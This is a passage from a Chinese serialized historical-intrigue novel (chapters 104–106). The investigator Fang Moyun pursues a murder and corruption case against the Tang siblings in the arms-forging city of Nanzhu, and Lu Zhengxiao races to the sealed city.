茉云顷刻中眼神闪现的狠戾，让景昇夫妇二人都不知如何接话，只得沉默在原地，茉云恭敬的行完礼转身走了，青岚深吸一口气，她又是这般，说出最狠的话，却要做最傻的事。
银辉倾洒而下，景昇的目光却比月光更温柔，他伸手牵着倪虹之手：“夫人，事情若终了，随我回苏杭吧。”
“好！”倪虹望向景昇温和的说道，她不由得深吸一口气，不禁回想起当年，自幼在京城中长大，那些为识大体的委屈，尔虞我诈的城府和顷刻而至的灭顶之灾，她此生最好再无交集。她忽然想起了出嫁前，卢老太君说的最后一句话，别怨，日后你会万般庆幸。
“茉云？”青岚随着茉云走回庄院，她望向茉云背影忽然轻喊道。
茉云转身望向青岚温和的笑了：“别慌，这两姐弟许是有被谋害的妄想症，你慈眉善目，所以叫上你一起。”
“何苦呢？”
“苦什么？”
“世上最苦之事莫过于真心和赤诚被误解，被践踏！”青岚叹息着望向茉云说道，“他会谅解你吗？”
茉云却笑了说道：“我半分也不畏惧于此，我只怕敌人太过狠辣之时，自己未狠辣过他们！”
青岚深吸一口气挽着茉云说道：“知道自己在干嘛就行，咱们切莫癫狂而不自知。”
“好。”茉云则笑了点点头，两人有说有笑的回房了。
夜半之时，茉云仰头望向繁星苍穹，还好此刻自己没有半分迟疑……
正啸初一一早便回营了，并未和任何人交代半句，三日后，茉云亦带人回了中州，若辰批阅完公文，望向空荡荡的庄院，忽然觉得这种宁静透着寂寥，可他不知的是即将到来的轩然大波，会震得南境都不得安宁。
茉云回到了中州，她最近显得特别的安静，这种宁静，总让宋大人心中有种不安，宋夫人老数落宋大人疑神疑鬼，宋大人只能惟愿自己想多了。
可是谁知道朝廷一封本上达不了天听的奏疏，引起了轩然大波，南铸州的刺史唐百刚被御史参了。
南铸并不大，可是因为赤铁矿密布，且善于铸兵，一直都是南境的重城，兵部七成以上的兵器，乃南铸所出，而众人皆知，南铸的刺史唐百刚乃朝廷中最年轻的刺史，他虽出生低微，却通达干练，年纪轻轻深受重用。
当然，他深得重用还有一层缘由，便是因为他爹曾是卢帅的贴身护卫，他娘是元帅夫人柳将军自幼的贴身丫鬟，且陪嫁入卢家，他爹娘的结合本也是一段佳话，他们夫妇对卢家实属肝脑涂地，皆为护主而亡。
而后他们兄妹三人便在卢家长大，兄长唐百林更是出生便跟着正啸，千山和万莫都比他晚来，他的妹妹百欣则是惜缘的贴身丫鬟，自幼乖巧懂事，深得府中长辈喜爱，最小的弟弟白刚则和卢旭一起长大。
大哥百林为人豪爽忠诚，自幼陪伴与正啸即是主仆亦是朋友，跟诸将皆是肝胆相照的兄弟，可还未到弱冠之龄，便在战场上为救正啸战死，临终之时只嘱托正啸和兄弟们护他一双弟妹。
从此剩下的姐弟唐百欣和唐百刚，在卢家成了特别的存在，爹娘是出自卢家和柳家的忠仆，哥哥为少主而死，和军中诸将皆是兄弟。
幼时柳将军就曾想让百欣为正啸的贴身丫鬟，被老太君以卢家男儿不需丫鬟服侍为由拒绝了，成年之后，卢帅本欲让卢正啸纳百欣为妾，可不知为何老太君阻了此事，没多久老太君要将百欣下嫁回她老家，百欣宁死不愿，惜缘也为了她苦苦求情，直到卢正啸亲自回家阻止了此事，要知道卢家人谁敢违抗老太君的命令。
最终还是柳大人从中转圜，让百欣嫁给了柳家旁系的侄子柳源，百欣无他法最终含泪嫁了，百欣素来干练，柳家在她操持下，如日中天，可惜命运不济，没有多久她亲夫便亡了，她亦未有子嗣。
可他亲弟百刚却非常争气，不能凭自己高中科举，又深得卢家和柳家信任，几年前被提拔到南铸为刺史，要知道南铸对于朝廷和兵部都异常重要，他们肯定要用信得过之人。唐百刚到了南铸，励精图治，治理得非常好，并且将私矿合并，矿铸联合，铸造出的兵器深得兵部和元帅的认可。
上级官员对唐白刚的考核亦是年年为优，极为认可，除了唐大人自己能力出众深谙官场之道以外，考核官员当然也知道他的背景后台是什么。
可就是这么一位朝廷中官声极高的冉冉新星却被御史参了，参他侵吞私矿，草芥人命，以权谋私，私吞公产，徇私枉法，虽然帽子皆扣得大，却没有实证，只有一位私矿被收归国有的落魄矿场主，可这位仁兄素来在当地名声极差，好赌成性，欺压旷工，矿本也是抵了赌债，他的证言本不足为信。
本来御史听风便是雨，他们参人乃常事，且无实证的，一般都是视若不见，随便批复然后派人查探，大酒一喝，便是查无实证了。
可此次参他之人，非常微妙，此御史周霖乃景昇的姐夫。深谙卢家底细之人就知道，当年倪虹与唐百欣就极为不对付，传
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闻中倪尚亦一直嫉妒唐白刚受到重用。
这让太师的学生，掌管吏部的尚书陈天阳嗅到了异样的味道，和太师一合计，这莫非是一出卢家阵营中内部的狗咬狗，若不好生利用一番，岂不是浪费。
而朝中几番博弈之后，最终钦定让吏部侍郎荣大人为主审，察院余震为负审，还有一位负审是邓大人亲自举荐的方茉云。这让朝中之人皆摸不着头脑，一个中州的参军？可是明白之人才知，荣大人显然是太师的人，余震中正，而方茉云是卢正啸之人。
正啸看到此公文顿时愤怒的瞪向执礼。
“少主息怒，柳大人这番安排并未和属下商量，可南铸之重要，少主明了。”执礼跪下看向正啸说道。
“他们这是非要将方茉云往这漩涡里推啊。”若辰叹息着说道。
“将军，大人，此案看似虽小，可是牵一发而动全身，南铸对兵部，对南关太重要了，而且若我们都不能保像唐白刚这样的忠臣良臣，朝中那些望风之臣如何看，到时军心也必受大创。众人皆知，方茉云断案之能无人能及，想必卢帅和柳大人也是经过深思熟虑，不得不用。”谢青看向正啸亦恭敬的进言道。
“他们以为方茉云能随意受人用？”正啸双眉紧蹙的说道。
众人皆有些诧异望向正啸，执礼亦若有所思。
若辰则忽然笑了说道：“对，宋大人曾说过，方茉云只有卢将军能驾驭。”
正啸没好气的懒得搭理若辰，走出了营帐，众人忍着笑，可他心中却不知为何总是不安。
晚饭之时，执礼看向坐在对面的杨东山突然问“东山兄，你觉得方茉云待将军忠诚吗？”
东山望向执礼意味深长的说道：“愚弟以为，方大人是极为赤诚的，可也许并非是朝中大人们说的那种忠诚。”
执礼顿时就起身疾步走向了正啸军营，他行礼便说明了来意，向正啸申请亲自去一趟南铸。
“柳大人允你去了？”若辰正也在和正啸商议此事。
“现在也是特殊时期，南关驻防几近大定，少主已经上奏折，请朝廷批示募兵扩军之事。南境不容有闪失……”执礼思虑着说，想着又笑了说，“属下此去至少求个安心，哪怕百刚有什么过激之处，我也能从中转圜，若是万一招架不及之时，我再来信求少主和大人。”
若辰顷刻就笑了说道：“求我没用。”
“去到南铸，把你现在耍平嘴的功夫，用在案子上。”正啸看则向执礼冷峻的说。
“是，我立刻收拾就出发，少主，可有什么话让我带给茉云？”
正啸顷刻没好气的说道：“让百刚莫招惹她。”
营帐中的众人都忍俊不禁，可是他们却不知道事情正往他们最不愿意，且从未想象过的方向发展而去。
宋大人接到了公文便心中有些诧异，方茉云以如此官职低微的一个中州参军身份，去参与朝廷的案子？可茉云没有半分迟疑，即刻便启程了。
她此去南铸不只是柳大人和兵部运作，太师等人也是在等着她去的……
104.入局
茉云刚入南铸就受到了刺史的厚待，且刺史的姐姐，南铸鼎鼎有名的柳谊庄的夫人唐百欣也亲自来迎，百欣待茉云如自家姐妹一般亲热，只因正啸身边之人来南铸，有意无意提及的茉云。
百欣和茉云好似一见如故，百欣亦极为抬举茉云，谁都知道他们兄妹待卢正啸至诚至信，少主身边的人，就是他们亲人。
两人相谈甚欢之时，茉云酒喝得多了一些，居然谈起了老太君，说不知道为何老太君哪根经搭错了般，让自己进卢家，还说卢家缺了个能传宗接代之人，她还取笑愿意给卢家传宗接代之人少了啊？
百欣依旧是一脸笑脸盈盈，可是眼神中却闪过一丝异样。执礼亦觉得诧异，她望向茉云的酒杯，这点酒让寻常人胡言乱语还行，可是她方茉云就是喝这十倍的酒也不会有任何闪失，若说的不是酒话，她何以要如此去刺痛百欣呢？
晚宴喝到了几近子时才散，执礼回到房中，惴惴不安，可是他终究还是没有忍住，来到了安排给茉云的庭院，却发现她独自坐在院中赏月。
“来了，进来吧。”
执礼长叹一口气说道：“你这又是意欲何为？”
“你跑这儿来是你少主让你来的？担心他们出事，还是不放心我捣乱？”
执礼看向周遭，皱眉看向茉云。
茉云随意倒着茶，闻着茉莉花香说道：“放心，监视我之人都被我放倒了。”
“方茉云，你刚那是要干嘛？你知道南铸对于兵部，对于边关，对于卢帅和少主多重要，若唐百刚都被贼人所害，军心将受到如何重创？”
“南铸是兵部的？是边关的？还是卢家的？”茉云反问执礼道。
执礼不解的望向茉云，他不明白茉云的意思，可是茉云绝不是会跟他废话之人。
“你是应该考虑我要干嘛？还是对手要如何？你觉得我一个参军能入此案，是因为你的柳大人手眼通天，圣上都听他的？你们真是不怕连邓大人都害了。”茉云喝着茶淡然的说道
“你别打哑谜了，你如何想的？”
“也许我能来定然是太师亦乐见其成，只因全天下都以为我会不顾一切护着唐百刚，因为他是卢正啸嫡系，你以为倪尚脱罪没有埋下祸端？”
执礼吃惊的望向茉云，其实他亦疑虑过。
“如今兵部和卢家军水泼不进，针插不进，还步步紧逼，坚持屯兵南境就算了，现在还要求扩军，并将南铸死死拽在手中，不顾一切那劲，你们是想造反啊？”
“方茉云，你休得胡说八道。”执礼顿时起身慌张的低吼道，这可不是轻易可言之事。
茉云却冷笑道：“南铸是朝廷的，铁矿、兵器和军队都是圣上的，瞧你说的那话，对于你们很重要！”
执礼顿时惊得一声冷汗：“卢家和唐百刚从没有这样想过！”
“你意思是圣上是你们肚子里蛔虫？”茉云乐了望向执礼说道，说着自己不禁感叹道，“执礼，经集史书我看得没有你多，可当日在京城察院之中，我阅遍了察院的卷宗……对手比你们通透，痛快，取舍绝不迟疑！”
“唐百刚是百林的弟弟，少主绝对不会……”
茉云端起茶杯眼神又透出了冷厉，打断执礼说：“诶，你们卢家房子实在够住，你可曾问过老太君为何容不下唐百欣给卢正啸做妾？”
执礼沉默了很久说道：“老太君素来和少主的娘柳将军有些嫌隙，她两人本就性格刚烈，京中婆媳总有些摩擦，可是她两都是为卢家好，只是小事上……”
茉云瞬间被逗乐了笑着摇摇头：“你们都是这么想老太君的？可怜她为卢家操碎了心。”
“什么意思？”
“卢老太君能让卢帅娶柳将军，便是认可她！”茉云眼中露出寒光，自然如果老太君死活不让卢正啸纳唐百欣为妾，那便是老太君定然知道唐百欣是个贱人。
执礼不解的看向茉云，不过他早已习惯了茉云说话，天上一句地上一句，茉云也知道，执礼定然无法理解自己话中深意。在众人眼中，百欣自小素来极为懂事伶俐，当年倪虹还有些大家小姐的脾气，百欣素来事事以卢家和少主为重，极为善解人意。
“你回京城吧，给卢老太君报个信，让她准备下，看如何接下这个飞来横祸。”茉云喝完茶杯中的茶起身说道。
“方茉云，百林替少主而死，死前只嘱托了这一双弟妹。”执礼深吸了一口气望向茉云，“军中将军皆视百林为兄长，昔日他们犯错，都是百林为他们跟将军求情……这两个人一定要保，这关乎南关军心！”
茉云冷凌的笑了径直回了房间，没有在言语半句，回到房中，她望向 星空，他出生之时便是众人眼中的天降大任者，那么他的一生就注定受到的千锤百炼吧……
执礼一夜未睡，最终他清晨便告辞回了京城，一路上脑子都是乱的，回到了卢家，执礼便跪在了老太君面前。
老太君顿时就站了起来：“南铸出事了？”
执礼深吸一口气将当日和茉云所聊之话和盘托出，老太君听完顿时瘫坐椅子上，长叹了一口气。
老太君闭上了眼睛，却良久都缄默不语，卢家真是处处险象环生，内忧外困，茉云话中的深意，她顷刻间明了。
“老太君，现在亦不是踌躇的时候，朝中奸佞如此陷阱，我等要如何招架，方茉云此人行事，素来只管挖坑，少主不知道掉下去多少回了……不能全指望她！”执礼惊慌失措的说，在一旁给老太君捶腿的依妮反而听着乐了。
老太君睁开了眼睛厉声说“你爹和你叔叔们也就这出息，就方茉云那丫头，现在身处险象环生之境，定是头发丝都没晃一下，你等惊慌失措什么？”
“老太君，太师就指望方茉云将少主和卢家引入陷阱，现在应该不会动他。”执礼若有所思的说。
老太君却又沉默了，她望向窗外，唐百欣那贱人，当年连正啸没有半点意思的倪虹都不放过，她能放过正啸如此宝贝的方茉云？可老太君什么都没说，因为她心领神会了茉云将执礼赶回京城的意思，可她在此险象环生，腹背受敌之地，斗得过吗？
老太君深吸了一口气站起身：“今年这倒春寒着实寒，罢了，该来的终归要来。”
南铸在唐百刚的治下，民众生活确实越来越好，他多方手段收没了私矿，但是对旷工和民众却格外优待，工钱也翻了倍，自然民众的日子好了，而且唐百刚此人自己却极为勤勉节俭，公正严明，全城百姓皆称他为唐青天。
主审荣大人和余震、茉云皆到了南铸，可是任下面的人如何翻江倒海的查，也没有查出唐百刚在南铸有任何徇私枉法之处，反而处处都是功绩。
三位大人皆是一副让人看不懂的模样，主审荣大人，此行的目的本不欲查出什么真相，他来的目的只有一个，就是回京上奏告卢家上下其手掌控南境，把持重城南铸，有拥兵自重，私造兵器之嫌。南铸越是铁桶一般，他越是好告。
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要知道朝堂多年的博弈，看似太师节节败退，其实朝局变换往往只在瞬息之间，现在南境各重城要地不是卢家、柳家嫡系，就是支持他们的人。
自古扳倒重臣从来不是一蹴而就，都是要慢慢消磨皇上心中的信任，峑戎的阴谋总在暗处，而明面上南境似乎已由卢家把持，谷山县之事，倪尚未受处置，其实卢正啸就已经一脚踏入了危险的境地。
议事之时荣大人余光看向两位副审，两位副审余震和方茉云皆是一副处之泰然的样子，似乎显得此案就该此般收场了，荣大人轻笑着，心中嘲笑他们好似并未察觉危险，浑然不知他们亦会是这场博弈的牺牲者。
可就在查案时限最后一日，一件让审案官都觉得离奇之事发生了，柳谊庄那疯了的老夫人，居然闯入了府衙，拿着状纸像三位审官，哭诉着要状告他的儿媳唐氏，也就是唐百欣，谋杀亲夫，害死了自己的儿子，可是全南铸府衙之人，包括街上之人却都是一副见怪不怪样子。
因为这位老夫人在儿子病死之时，受了刺激便疯了，终日胡言乱语，全城皆知，唐百欣素来极为孝顺，且善待柳谊庄中人，即便婆婆疯了，她丝毫并未嫌弃，依旧是日日侍奉，这也是全城知晓的。。
府衙中人都很礼待柳老夫人，但没有任何人搭理她的状纸，而此时却有一人走了过来伸手从地上捡起了柳老夫人的状纸，众人抬头望去，那人便是副审官方茉云。
“柳老夫人……”
柳老夫人愣愣的望向了茉云，茉云伸手握着柳老夫人的手笑了。
茉云叹息了一声跟柳老夫人说道：“幼时我曾逃难路过南铸，吃过您家几大碗粥，你和你儿子皆是大善人，他如今不在了吗？”
“他被人害死了。”柳老夫人顿时掩面泣不成声的说。
此时唐百欣找来了，每次婆婆疯癫的跑了出来，她每次都会亲自来接回去，她见到柳老夫人，立刻走来一脸温婉的扶着老夫人说道：“娘，您吓死我了，我到处找您。”
而柳老夫人则不禁身子有些发抖，眼中都是惶恐，握紧了茉云的手，但她依旧被唐百欣扶着带走。
“柳老夫人，你放心，我一定帮你儿子查清真相。”茉云忽然望向柳老夫人一脸坚定的说道。
柳老夫人转身瞪圆双眼望向茉云，似乎在漫长的绝望中终于看到了一丝希望一般伸出了双手，百欣的步伐虽然停了，可是她却没有回头，最终带走了老夫人。
茉云回到了府衙的房中，拿起了剑，出门却看见了余震。
“余大人。”茉云开心的走了过去说道。
“什么都别说，我什么都不想听。”余震没好气的说道。
茉云则嬉皮笑脸的反问道：“那您在此处等下官？”
余震小声低吼道：“方茉云，你又发什么疯？”
“朝廷既然委派我们来，蛛丝马迹都不能错过，不然岂不是有负朝廷所托。”
“方茉云，是谁派你的？”吴越小声的提醒问道。
茉云则笑了说道：“冥冥之中，是老天爷吧。”
说完茉云提着云夕剑，便招摇过市在南铸查起了此事。而唐家姐弟正站在阁楼之上，遥遥望去。
“姐，小不忍则乱大谋。”唐百刚看向百欣担忧的说道。
“我知道。”百欣则冷冷的说道，可是她眼中露出了寒光，看向茉云手上那把云夕剑，那是她干娘柳将军的剑，当日少主视之如命，如今却在她的手上……
105.赤诚
军中收到了南铸来信，正啸顿时双眉微蹙，若辰伸手拿过一看亦深吸一口气。
“她这是……？”若辰望向正啸说道。
此时白神医突然走入了营帐说：“若辰，方茉云来信，将你婶请去了南铸，说什么要开棺验尸，我说让你婶先问问你，可你婶收拾了包袱就去了。”
“备马去南铸。”正啸顿时起身说道。
“将军，京中来信说您暂时切莫……”
“备马！”正啸顷刻间吼道。
“是。”众人立刻应道。
正啸和若辰上马便飞驰而去，往南铸而去，谢青愁忧的看着他们疾驰而去的背影，谁又知道南铸会发生什么呢……正啸一行人到了南铸城门口才追上了白夫人，无论何友如何劝说，白夫人也要坚持赴约，谁都知道她与茉云私交深厚。
最终正啸和若辰等人穿着斗篷披风夜里入了南铸，并没有任何通报。径直到了府衙。
唐百刚抬头看见是正啸来了，顿时就欣喜的迎上来，跪了下来磕头说道：“少主。”
“嗯。”正啸伸手扶起百刚。
“快去告知我姐来府衙。”百刚激动的望向属下说道。
正啸却直接的吩咐道：“去传方茉云来！”
百刚愣了半刻马上说“好。”
不到一炷香的时间，百欣便赶来了，她穿着白狐镶边斗篷石榴裙疾步走入了府衙，见到正啸便立刻欣喜的上前行礼：“少主。”
“嗯，”正啸温和的点了一下头。
而此时茉云正好不紧不慢来了，看见白夫人便冲了过来，开心的说道：“白夫人，你来了。”
经过正啸之时，正啸抬手就拎住了茉云，皱着眉，忿然却又带着几分无奈的望向她，百欣抬目望向正啸的表情愣了半刻。
茉云居然一反平日刚硬的态度的灿然而笑：“将军，你怎么来了？”
百欣则深深吸了口气看向正啸咬紧牙关，她果然与正啸有超越常人的亲昵……
若辰有几乎奇怪的望向茉云，茉云什么时候称呼过正啸为将军，每次都是怒气冲冲的直呼其名，称他卢正啸！
百刚知道他们都是穿斗篷前来，定然是不想引起众人的注意，则心领神会的抬手示意让其余人退下。
茉云望向正啸关切的问道：“伤势还未愈为何来了南铸？”
百刚和百欣都不约而同的望向正啸，少主居然有伤在身，还夜里赶来了南铸？
“你又要干什么？”正啸皱眉说道。
“查案。”
“你查个私矿的事，要验尸？”若辰无语的笑了望向茉云，表情依然透着温和。
何友亦看向茉云亦无语的笑了说道：“大姐，一听你找来了我白婶，正啸哥和我哥立马赶来了，你要干何事？”
众人一看皆知茉云和他们私交深厚，百欣则在衣袖中暗自握紧了拳头，他们姐弟如此苦心经营为卢家拿下了全南铸，正啸来南境几年都从未来南铸看过他们一眼，而他居然为了方茉云，带着伤深夜赶来了此处。
茉云望向正啸说道：“我让执礼回了京城，特地让他带话给老太君，嘱咐你此时不要来南铸！你们没收到？”
“这不是不放心你吗？”何友无语的看向茉云说。
百刚亦愣松了半刻，她居然可以安排执礼，还能带话给老太君。
正啸依旧一脸严峻的问：“方茉云……”
茉云顷刻打断了正啸的话说：“我昔日在南境漂泊落难之时，柳老夫人和柳庄主都曾救过我，虽是一饭之恩，但是救了我全家的命，今时今日柳老夫人求到了我的面前，难道我置若罔闻？”
“少主，我姐家世实属不幸，她婆婆因为遭受丧子之痛，神志不清，我等已经和方大人解释了很久。”百刚无奈的行礼说道，“可方大人无论如何都不信？”
“我当然不信你们的话，柳老夫人说是你姐谋杀亲夫，我一个断案之人，岂能只信被告的话？”
“方大人，此事柳谊庄上下，乃至全城皆知。”
“那你让我开棺验尸？”
“方大人可曾想过，若你开棺验尸我姐将如何自处？她的清白……”百刚望向茉云说道。
茉云径直打断了百刚的话说道：“自古清者自清，怕什么呢？”
“我什么不怕，只是此时乃特殊时期，但求方大人此时能与南铸共渡难关，以大局为重，日后，方大人何时来查皆可。”百欣温和的说道。
“日后再来，你们偷梁换柱了呢？”茉云冷冷的质疑道。
“我等已经是苦苦相劝，还请少主劝劝方大人，我姐自小在少主身边长大，她岂是这种人？”百刚叹息着望向正啸说道。
茉云顿时眼神中闪过一丝轻蔑：“少来这一套，若是卢府信得过的下人，为何被扫地出门？”
众人吃惊的看向茉云，就连万莫都有些诧异的望向茉云，她为何如此说他们两。
正啸顿时皱眉望向茉云，然后看着百刚说道：“你们都先下去！”
百欣顿时吃惊的望向正啸，自幼护着他们的少主，此刻居然让他们忍气吞声的下去，百刚则马上行礼说道：“是。”
然后他马上转身望向百欣，拼命暗示她忍耐告退，百欣只得轻轻的行礼，一脸温顺而落寞的转身离开了。
“你到底要干什么？”正啸皱眉望向茉云说道。
茉云望向正啸本欲脱口而出的话，到了嘴边却突然停住了，她深吸一口气说道：“我就想查个真相？”
“一定要在此刻？”若辰无奈的劝茉云道，“内忧外患之时？你可知正啸刚上了扩军奏折？”
“救命之恩，不可不报。”茉云丝毫不动容的恢复了冷厉的眼神说道。
“方茉云，这里不是你任意妄为的地方。”正啸压抑着怒气说，他心里知道与往日案子不同，此次她已经卷入了朝局纷争，若恣意妄为陷入敌人的陷阱，谁也护不了她。
“速速回南关吧，此处你不要管了。”茉云转身要走。
“来人，将白夫人带回南关！”正啸顿时下令说道。
茉云顿时转身瞪着正啸，眼神顷刻迸射出的愤怒。
“万莫，你留守此处，方茉云，若南铸和柳谊庄有何闪失，我以军令办你和万莫。”
“是！”万莫只得马上接令道。
忽然间，茉云脸上的愤怒居然凝结成狠戾的笑容；“卢正啸，你别后悔！”
若辰无语叹了口气看向正啸，他两总是不能好好说，卢正啸再也未理睬茉云。他走出去嘱托了百刚几句，言辞中亦是让他们不要与茉云纠缠，然后径直带人深夜又偷偷出了南铸，此时他确实不适宜出现在南铸，而百欣亦不能去送他，只能远远的目送。
月色下，望向正啸马上疾驰而去的威武背影，百欣曾经千万次的期盼和预想着下一次见到他的场景，而他居然匆匆走了，都未来得及和自己说一句话，而更可悲的是，正啸是为了那个女子披星斩月来的……
正啸一路上飞驰回营，可是他的脑子没有一刻离开了南铸，正啸和若辰都知道此事没有那么简单，正啸回营就命人传来了倪尚。
倪尚完全不知他姐夫姻亲的御史参南铸之事，正啸望向倪尚，知道他没有骗自己，他虽在家时日不多，可从惜缘口中亦知道，倪虹自小就看不惯百欣。
“在下也听闻过，倪大小姐和百欣自小有些误会嫌隙，可是私人之恩怨，牵扯到军国大事，实属不可为。”谢青看向倪尚说。
“您说得对，可是我姐夫对我姐百般听从，而我姐对于从前之事一直耿耿于怀，这么多年亦未能释怀。”倪尚亦深吸一口气。
“你姐可曾跟方茉云说过什么，密谋过什么？”正啸望向倪尚突然问道。
若辰亦怔了半刻望向正啸，然后若有所思，其实他也觉得此次去南铸，方茉云与寻常有异，特别是她待正啸的态度，比平常温和了百倍。
倪尚回忆着说道：“家姐离开之时，只是嘱托我，说方大人此人深不见底，切莫招惹，还说她人不坏……却狠！”
“你姐还说了什么吗？”若辰望向倪尚说道。
“她说她此生只盼有一日爹爹的大仇得报，其余再无他想，让我也好自珍重，再莫去争。”倪尚想起倪虹临走之时的话。
正啸看向倪尚若有所思，可此时有人来报，来的是元帅营帐的亲兵侍卫队长洪虎，他是元帅义子震北将军一手提拔之人。
“请大将军速去元帅大营，有要事相商。”
“洪虎！”威行远远看见就追入了营帐，他曾在元帅身边也呆过几年，跟洪虎都熟。
洪虎看见威行便笑了点点头。
“元帅何事？”正啸望向洪虎问道。
“属下不知，还请大将军速速启程，去元帅营帐。”洪虎抱拳行礼说道。
“好。”
正啸即刻便启程赶往元帅大营，他刚走一日，营中就收到了南铸来报，若辰看着谢青愁忧的表情，接过来信，顿时就站了起来。
“哥，怎么了？”何友吃惊的说道。
“信上说，茉云大庭广众下，闯了柳谊庄，要带走老太君，还要挖柳家的坟，且言辞羞辱了柳夫人，被柳夫人当
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众打了两巴掌。”谢青皱眉说道。
“那她如何发飙的？”
“她暂时退出了柳谊庄……”
“怎么可能，他们府上岂有人能是她的对手？”
“糟了！”杨东山忽然望向若辰说道，“今早的南境驻军汇报公文中，方大人的两个师兄马大人和卓大人都上报了带兵出城剿匪，可能他们是去南铸帮方大人了……”
“你是说这个紧要关头，方茉云当着主审和余震的面，掉了两队人马去找唐家姐弟的晦气？不至于吧……”何友望向杨东山难以置信的说道。
“鹿里。”若辰顿时起身吼道，鹿里有些诧异的走入了营帐，是关大人叫自己吗？从未听过他这么大的声音喊人过。
“关大人？”
“速速出营，一路去追大将军，告诉他南铸要出大事了！”
“是！”鹿里马上转身出了营帐，飞身上马而出。
“传沧海，威行随我去南铸，谢青你和雄山守营。”
“是！”
若辰马上启程去了南铸，可是到达南铸之时，让他吃惊的事情发生了，南铸封锁了城门，不让任何人进出，哪怕若辰的亲卫报出了 关大人名讳，城中守卫依旧纹丝不动。
“南铸定是出大事了。”若辰深吸一口气说道。
何友气愤地说道“连巡抚来了都不开门，南铸想谋反不成？”
“不可能！”威行皱眉看向何友说道，“百刚不可能造反。”
沧海起身拦住了威行示意他冷静。
“已经派人去报大将军，我们在此等正啸来吧。”若辰叹息着说道。
而正啸一路到达了南关和元帅大营的中间，已经到了太阳下山之时，前方是山路，正啸只能在驿站歇一夜，刚到驿站，却见到了卢老太君的车架。
正啸愣松了半刻，此时老太君从马车上走了下来，不紧不慢的望向正啸。
“奶奶？您为何在此？”
“来边关有事与你父帅相商，可否？”老太君没好气的说道，执礼站在老太君身边深吸一口气，其实是老太君差人叫来了少主，她此举便是调虎离山。
正啸才未再言语什么，可是他锁紧双眉，心中一路都记挂着南铸，不知道现在城中是什么情况。
“今晚我已累了，歇息一晚明日再启程。”老太君转身说道。
“是，奶奶，那你早些歇息。”正啸恭敬地说道。
正啸回房房里，一晚上他亦是辗转难眠，清晨天未亮，他醒来便在半山驿站的坪里和千山练剑。
练了一炷香的时间他便停了下来，远眺而去，千山亦能感受到正啸的心神不宁。此时正啸忽然看见不远处树上云雀的鸟巢旁，有一条毒蛇攀上树枝偷偷从后面袭来，而云雀窝里云雀似乎丝毫未知情。
正啸抬手一颗石子弹出，直接将蛇击落了下来，云雀才被惊醒一般，惊慌失措的飞走了，正啸收剑转身，忽然又停住了，他转身望向那云雀窝，不知为何心中油然而生不好的预感。
此时远处疾驰而来的马蹄声，在驿站门口停住了，鹿里跳下马，还未喘过气，便将事情禀报了正啸。正啸顷刻间飞身上马疾驰而去，千山还没有晃过神来马上亦上马追去。
此时执礼站在老太君身边，看向窗外深吸一口气，南铸之战想必是已经打响了。
“老太君，少主还是走了。”
“嗯。”老太君波澜不惊的点点头，她自然知道骗不了他多久。
“那老太君是否也启程？”
“留在此！”老太君淡然的说道，家里的小的自己拦不住，老的她还是拦得住，此刻元帅定然也在来南铸的路上。
“老太君！”
老太君抬目不容置疑的望向执礼。
“我担心少主，少主夹在其中，他能护谁？”
“那你放心，落在了方茉云手里，谁也护不了。”老太君冷冷的起身望向正啸远去的方向说道。
“老太君，少主怎么可能眼睁睁的看着百欣和百刚牺牲于朝局阴谋中，他自小视他们如弟妹。”
“那你也可放心，方茉云从不会管你们少主如何想！”老太君顷刻转身忿然说道，“她只知道那姐弟两该死，便不会放过！”
执礼诧异的望向老太君，老太君居然说他两该死。
良久之后，执礼深吸一口气终究隐忍不住的质问道：“可为何要如此！为何一定要是方茉云处置他们！为何是这个少主一路相护之人，亲手去置少主身边弟妹于死地？”
“因为只有她清醒而赤诚！”老太君闭上了眼睛叹息着说。
106.在乎
正啸一路飞驰赶到了南铸之时，若辰满脸愁忧的在城门口等他。
“自我来算起，已经封城两天一夜了。”若辰见到正啸飞身下马，便立刻迎上去说。
正啸旋即转身对沧海说道：“去告知城门值守报南铸刺史，若再不开城门，就视为造反，我就带兵攻城了。”
不到一炷香的功夫，城门开了，只走出来一人，城门又关了去，那人走来脱下斗笠便跪在了正啸面前，是唐百欣。
“少主，奴婢实属不该触怒方大人，她许是一时冲动调兵入城将南铸诸矿都围了，并且写下了这份奏折。”唐百欣跪着双手举起奏折，苦楚盈满了眼眶说，“若此封奏折到了朝廷，兵部和卢家军皆危，百刚不得不封城擒获此人。”
“你们要将她如何？”若辰顿时忿然说道。
“还请关大人看这封奏折，我们姐弟死不足惜，可是决不能让她坏了南境大业。”
正啸抬手接过了奏折，若辰望向奏折也愣了半刻，这是茉云的手迹没错，可是她的奏折上赫然写着南铸如何上下串通，泯灭人性的吞并诸矿，然后刺史把持南铸铸兵国事，其中居然还影射卢家掌控南境太甚。
“这是方茉云写的？”何友吃惊的指着说道，若辰则皱眉若有所思，这怎么可能，可这分明是茉云笔迹没错，她的笔迹如此跳脱，无人可仿。
“我怎可能欺骗少主？还望少主明鉴。”百欣望向正啸满脸都是楚楚可怜的祈求道。
“她这奏折上所写南铸之事可是真的？”正啸皱眉望向百欣问道。
百欣抬目的望向正啸，眼中都是震惊，当少主看见方茉云这满纸背叛之言，顷刻间质疑的……却是他们姐弟。
“我问你话！”
“难道在少主心中，我们唐家对少主和卢家几十年的忠心，不及方茉云！”百欣顿时咬牙反驳道。
“就事论事，我问你答便是，这些事可是真的？”
“少主，我们做的所有事皆是为了少主和卢家军，我和百刚，问心无愧。”
“打开城门！”正啸吼道，他已不欲废话，只因他知道每多拖延一刻，方茉云等人在城中便危险多一分。
“少主，方茉云不能活着出来，不然她会坏您大事，您再给百刚一日的时间，您切莫插手，百刚定能将此事圆过去，您放心，您的其他师弟定然无恙。”百欣跪着哀求道。
“荒谬，方茉云乃朝廷官员，岂是你们可随意处置的！”若辰顿时愤然瞪向百欣说。
“关大人，还请你以大局为重。事后，少主和您要如何处置我们姐弟都行。”
此时鹿里带着他的先锋营赶到了，谢青亦随行而来，看见众人都皱眉望向跪在地上的百欣。
正啸顿时对鹿里下达军令：“诸将士听令，一炷香的时间，未开城门，便攻城门！”
“是！”
百欣吃惊的望向正啸，正啸眼神焦急而面色冷然的往城门走去。
“你们姐弟若杀了方茉云，正啸哥一定不会放过你们。”何友顿时瞪着百欣说道。
正啸和百欣擦身而过的瞬间，百欣跪着忽然无助的拉住了正啸的衣角眼泪夺眶而出喊道：“少主，难道我们姐弟的命乃至平定边疆的大业都不及一个方茉云。”
正啸此时压根懒得再和百欣废话，径直冲着城门下吼道：“打开城门。”
